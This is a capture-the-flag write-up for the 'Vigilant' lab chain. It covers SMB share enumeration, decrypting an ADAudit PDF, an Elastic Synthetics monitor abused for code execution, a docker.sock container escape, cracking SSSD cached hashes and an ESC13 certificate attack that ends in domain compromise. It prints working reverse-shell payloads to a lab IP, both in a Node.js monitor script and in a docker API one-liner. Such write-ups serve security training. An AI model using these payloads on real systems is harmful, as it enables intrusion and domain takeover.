Vigilant is a chain of Vulnlab-hardened machines, consisting of a Linux machine and a Windows machine. Anonymous access to the domain controller (DC) shares is used to retrieve a PDF file encrypted with ADAudit. By recovering the DLLs linked to the ADAudit executable, we can use ILSpy to identify the way in which the PDF is encrypted, and thus decrypt it. The identifiers contained in the PDF then allow us to access an Elasticsearch administration interface which, once exploited, gives us a shell in a container on the machine. It is then possible to escape from this container and compromise the first Linux machine. As this Linux machine is attached to the domain, it is possible to retrieve the credentials of a domain account on this machine and carry out an ESC13 attack with them in order to compromise the domain.

Intial access

As usual, I started by running an nmap scan on the targets, which enabled me to identify that one machine was a DC with elsactic search and the other was a Linux machine with ports 80 and 22 open.

I first tried to retrieve information on port 80, but after doing the usual enumerations on web sites, I couldn’t find anything interesting.

I then focused on the DC, noticing that it accepts anonymous authentication, but with netexec, I couldn’t retrieve any information.

I therefore decided to use smbclient to enumerate SMB shares, as this tool manages to get results where nxc fails. Indeed, nxc relies exclusively on rpc calls (notably NetShareEnumAll) via the \srvsvc interface to obtain the list of exposed shares. However, these calls can be restricted for anonymous sessions, even if SMB authentication itself is not accepted. In this case, nxc fails to display the available shares.

For its part, smbclient starts by using the same RPC call, but if this is refused, it implements a fallback mechanism. It first connects to the IPC$ share via a Tree Connect request, then sends SMB TRANS2 requests which, depending on server configuration, allow direct retrieval of share names and associated rights without going through the RPC service. Thus, even when RPC enumeration is blocked, smbclient can display certain shares thanks to the information returned in the SMB responses themselves.
Smbclient thus enabled me to identify that, in anonymous mode, the ITSHARE directory could be accessed.

Browsing through the share, I was able to retrieve an encrypted pdf that had been generated by ADAudit, a tool that, as its name suggests, can be used to audit AD and, in particular, user passwords.

However, the pdf is not directly breakable with john, so we had to study the way the pdf is generated by studying the dlls used by the adaudit executable. Using ILSpy, I decompiled the dll ADAudit.dll which allowed me to recover the password in clear text for the svc_auditreporter account.

These identifiers enabled me to retrieve a valid domain account and authenticate with it.

Decrypt pdf

After obtaining the svc_auditreporter account, I ran a bloodhound which enabled me to identify that the recovered account had no particular rights and that I couldn’t make any further progress with it.
I therefore decided to study the way in which the pdf I had recovered was encrypted to see if it was possible to decrypt it.
The function that encrypted the pdf was the Encryptfile function. This function generates a key from the length of the file using the GenerateKey function. Each byte is then XORed using the key and, at the end, the 4 most significant and 4 least significant bits are inverted.

So, since all operations are reversible, all you need to do to decrypt the document is to find the key used for encryption. If we look at the GenerateKey function, we can see that it uses a pseudo-random generator, which means that for the same given input, we obtain the same key.

As in our case, the input is the length of the document, we can create a script to decrypt the document with ChatGPT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
using System;
using System.IO;

class Program
{
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.Error.WriteLine("Usage: dotnet run -- <encrypted.pdf> [output.pdf]");
Environment.Exit(1);
}

string inPath = args[0];
string outPath = (args.Length > 1) ? args[1] : Path.Combine(
Path.GetDirectoryName(inPath) ?? ".",
Path.GetFileNameWithoutExtension(inPath) + "_decrypted.pdf"
);

if (!File.Exists(inPath))
{
Console.Error.WriteLine($"Fichier introuvable : {inPath}");
Environment.Exit(1);
}

byte[] data = File.ReadAllBytes(inPath);

// 1) Inverse de ShuffleBytes: swap des paires (0<->1, 2<->3, ...)
UnshufflePairs(data);

// 2) Swap des nibbles (opération involutive)
for (int i = 0; i < data.Length; i++)
data[i] = SwapNibbles(data[i]);

// 3) XOR avec la clé déterministe (Random(12345).NextBytes())
byte[] key = GenerateKey(data.Length);
for (int i = 0; i < data.Length; i++)
data[i] ^= key[i];

File.WriteAllBytes(outPath, data);

// Vérification visuelle
if (data.Length >= 5 && data[0] == (byte)'%' && data[1] == (byte)'P' && data[2] == (byte)'D' && data[3] == (byte)'F' && data[4] == (byte)'-')
Console.WriteLine($"[+] OK: PDF détecté -> {outPath}");
else
Console.WriteLine($"[!] Terminé, mais en-tête inattendu (pas %PDF-). Fichier écrit -> {outPath}");
}

static void UnshufflePairs(byte[] buf)
{
for (int i = 0; i + 1 < buf.Length; i += 2)
{
byte tmp = buf[i];
buf[i] = buf[i + 1];
buf[i + 1] = tmp;
}
}

static byte SwapNibbles(byte b) => (byte)(((b << 4) & 0xF0) | ((b >> 4) & 0x0F));

// Reproduction exacte de GenerateKey(int len) vu dans ADAuditLib:
// new Random(12345).NextBytes(key) (longueur = len)
static byte[] GenerateKey(int len)
{
var key = new byte[len];
var rng = new Random(12345);
rng.NextBytes(key);
return key;
}
}

As the project is in dotnet, you need to use the following commands to launch it:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1) Créer le projet
dotnet new console -n DecryptADAudit
cd DecryptADAudit

# 2) Remplacer Program.cs par le code ci-dessus (et coller le .csproj minimal si tu veux net8.0)

# 3) Build
dotnet build -c Release

# 4) Exécuter
dotnet run -- ../Password_Strength_Report_encrypted.pdf # output: *_decrypted.pdf par défaut
# ou
dotnet run -- ../Password_Strength_Report_encrypted.pdf ../Password_Strength_Report.pdf

After running the script, we manage to open the pdf, which allows us to retrieve 4 domain identifiers.

Revershell with elasticsearch

As before, I used BloodHound to analyze the rights and relationships of the accounts I had retrieved. This analysis didn’t identify any exploitable relationships that could be used to escalate my privileges. However, I did notice that the Pamela.Clark account belonged to the IT team. Using this account, I was able to authenticate to ElasticSearch

Elasticsearch is a distributed search and analysis engine that enables large quantities of data to be stored, indexed and queried rapidly. It is often used in enterprises for log centralization, monitoring or real-time analysis.

After some research, I discovered that Elastic’s Synthetics module was being used. Synthetics enables you to monitor the availability and performance of web applications using monitors that describe test scenarios in the form of Node.js scripts. These monitors are used to check that a website is responding correctly, that an API is returning the right data, or to simulate a user path.

As node.js allows server-side command execution with child_process, it’s possible to get a shell on the server.

To do this, start by installing the synthetics modulator locally:

1
2
npm install @elastic/synthetics

Then initialize a project using the API key retrievable from the administration interface:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
23-Aug-25 06:24:54] 10.0.2.15 monitors > npx @elastic/synthetics init
> Initializing Synthetics project in '.'
✔ Enter Elastic Kibana URL or Cloud ID · http://10.10.156.101:5601
✔ What is your API key · ************************************************************
✔ Select the locations where you want to run monitors · Marketing Page (private)
✔ Set default schedule in minutes for all monitors · 1
✔ Choose project id to logically group monitors · monitors
✔ Choose the target Kibana space · default
> Setting up project using NPM...
Wrote to /home/kali/ctf/vulnlab/vigilant/evil-synthetics/monitors/package.json:

{
"name": "monitors",
"version": "1.0.0",
"description": "",
"main": "evil.journey.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC"
}

Next, we can create a script to run a reverse shell on our machine and place it in example.journey.ts.

1
2
3
4
5
6
7
8
9
10
const { journey, step } = require('@elastic/synthetics');
const { exec } = require('child_process');

journey('reverse-shell', async ({ page }) => {
step('connect back', async () => {
exec('bash -c "bash -i >& /dev/tcp/10.8.6.80/4444 0>&1"');
});
});


Finally, push the script onto the platform with the following command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
23-Aug-25 06:37:36] 10.0.2.15 monitors > SYNTHETICS_API_KEY=NTJCcjFwZ0JWRldtdTZlYmpaTXM6bXFVM0hmYk9SWDZMeUNfOXI3cngzQQ== npm run push

> [email protected] push
> npx @elastic/synthetics push

⚠ Lightweight monitor schedules will be adjusted to their nearest frequency supported by our synthetics infrastructure.
> Pushing monitors for 'monitors' project in kibana 'default' space
> preparing 6 monitors
> Monitor Diff: Added(1) Updated(0) Removed(0) Unchanged(5)
SocketError: other side closedors (120040ms)
at Socket.onSocketEnd (/home/kali/ctf/vulnlab/vigilant/evil-synthetics/monitors/node_modules/undici/lib/client.js:1118:22)
at Socket.emit (node:events:536:35)
at endReadableNT (node:internal/streams/readable:1698:12)
at processTicksAndRejections (node:internal/process/task_queues:82:21) {
code: 'UND_ERR_SOCKET',
socket: {
localAddress: '10.8.6.80',
localPort: 55360,
remoteAddress: '10.10.156.101',
remotePort: 5601,
remoteFamily: 'IPv4',
timeout: undefined,
bytesWritten: 2226,
bytesRead: 4095
}
}

You can obtain a reverse shell on the machine.

Container Escape

Once the reverse shell was in place, I quickly recognized that I was in a container, as none of the usual commands were available. So I ran deepce.sh, a script to identify the various possible ways of escaping from a container.

This allowed me to identify the docker socket, which I was able to verify with the following commands:

1
2
3
ls -l /var/run/docker.sock 
ls -l /run/docker.sock

The docker socket being mounted means that the container has direct access to the host’s docker daemon. A daemon is a program that runs in the background and provides services to other programs. In the case of Docker, this daemon is called dockerd: it drives the entire Docker engine, managing the creation and deletion of containers, and the management of images, volumes and networks.

The docker.sock file is the communication interface between programs and this daemon. It enables commands to be sent directly to dockerd. Normally, this access is reserved for administrators or authorized users (e.g. those in the docker group).

However, if this socket is mounted in a container, a container administrator can dialogue with the daemon (thanks to mapping between host and container users) and execute actions as if he were an administrator on the host. This allows, for example, to launch a new container in privileged mode, mount the host machine’s file system or directly execute local commands.

For example, docker.sock can be used to exit the docker container and interact with the host.

To check that this works, I started by trying to identify the container version via the socket:

1
2
3
4
5
6
7
curl --unix-socket /var/run/docker.sock http://localhost/version
<ocket /var/run/docker.sock http://localhost/version
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 783 100 783 0 0 12836 0 --:--:-- --:--:-- --:--:-- 12836
{"Platform":{"Name":""},"Components":[{"Name":"Engine","Version":"24.0.5","Details":{"ApiVersion":"1.43","Arch":"amd64","BuildTime":"2023-10-07T00:14:30.000000000+00:00","Experimental":"false","GitCommit":"a61e2b4","GoVersion":"go1.20.8","KernelVersion":"5.15.0-101-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"v1.6.21","Details":{"GitCommit":"3dce8eb055cbb6872793272b4f20ed16117344f8"}},{"Name":"runc","Version":"1.1.7","Details":{"GitCommit":""}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"24.0.5","ApiVersion":"1.43","MinAPIVersion":"1.12","GitCommit":"a61e2b4","GoVersion":"go1.20.8","Os":"linux","Arch":"amd64","KernelVersion":"5.15.0-101-generic","BuildTime":"2023-10-07T00:14:30.000000000+00:00"}

As this worked, I was able to use the following command to exit the container and retrieve a reverse shell from the host

1
2
3
cid=$(curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["chroot","/host","/usr/bin/python3","-c","import socket,os,pty;s=socket.socket();s.connect((\"10.8.6.80\",5555));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"],"HostConfig":{"Binds":["/:/host"]}}' http://localhost/containers/create | grep -oE '"[0-9a-f]{64}"' | tr -d '"'); curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$cid/start
<sock -X POST http://localhost/containers/$cid/start

Extraction of SSSD creds

After compromising the machine, I identified that it was attached to the Active Directory domain. As a first step, I retrieved the file /etc/krb5.keytab (sometimes called krb5tab), which contains Kerberos keys associated with the machine and services. However, this file wasn’t directly useful in this context, as it didn’t provide a reusable ticket for bouncing into the AD.

On further analysis, I found that in the /etc/sssd/sssd.conf file, the cached_credentials parameter was set to True. This means that the SSSD (System Security Services Daemon) service, used to integrate the machine into the domain, keeps a copy of the authentication information of domain users. In concrete terms, when an AD user logs on to this Linux machine, his password (or rather a derivative in the form of a secure hash) is stored locally, enabling him to log on again even if the domain controller becomes unreachable.

In addition to these persistent caches, Linux systems using Kerberos also store authentication tickets in files called ccache. By default, these tickets are located in the /tmp directory under names such as /tmp/krb5cc_{UID}, where {UID} stands for user ID. These files contain the TGT (Ticket Granting Ticket) issued by the domain and can be directly reused.

As there were no active Kerberos tickets listed with klist, I decided to explore the SSSD cache files. I retrieved and transferred the file /var/lib/sss/db/cache_vigilant.vl.ldb to my attack machine.

This file is an SSSD internal database (in LDB format) which contains the cached credentials for domain users who have already logged on to the machine. These include :

  • Domain user names and attributes,
  • Group information needed to apply permissions locally,
  • password-derived hashes (similar to Windows’ Domain Cached Credentials v2 - DCC2).

These hashes enable the Linux machine to continue validating connections even if the domain controller is not accessible.

So using rockyou I managed to break this hash


As I didn’t have the username associated with the recovered password, I did some password spraying on all the accounts, which enabled me to identify that it was Gabriel.stewart’s password.

ESC13 attack

With the recovered account, I enumerated the rights on the different templates with certipy, which allowed me to identify that one of the templates was vulnerable to ESC13.

In ADCS, certificates can include issuance policies. These policies act as security labels, indicating the context in which a certificate has been issued, and the level of trust involved. Each policed issuance is represented by a unique identifier called an OID (Object Identifier), which is written to the issued certificate in the Certificate Policies extension.
Active Directory allows you to link a policy OID to an AD group using the msDS-OIDToGroupLink attribute. When a user authenticates with a certificate containing an issuance policy linked to a group, the system virtually adds him/her as a member of this group, even if he/she does not belong to it.
The ESC13 attack relies on this functionality: when a template certificate is configured with an issuance policy associated with an AD group, any user with enrolment rights on this template can issue a certificate and receive a Kerberos ticket including the privileges of this group.

So, as the account retrieved had enrolment rights on a template that allowed it to become the domain administrator, and the EKU allowed authentication, I requested a certificate using this template with the following command:

1
2
3
4
5
6
7
8
9
10
11
> certipy-ad req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.156.101 -p P@ssword123 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096 -target DC.vigilant.vl
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-2615182196-3196294898-3079774137-1334'
[*] Saving certificate and private key to 'gabriel.stewart.pfx'
[*] Wrote certificate and private key to 'gabriel.stewart.pfx'

This certificate can be used to obtain a ticket

And since with this ticket you’re considered a domain administrator, you can compromise the domain.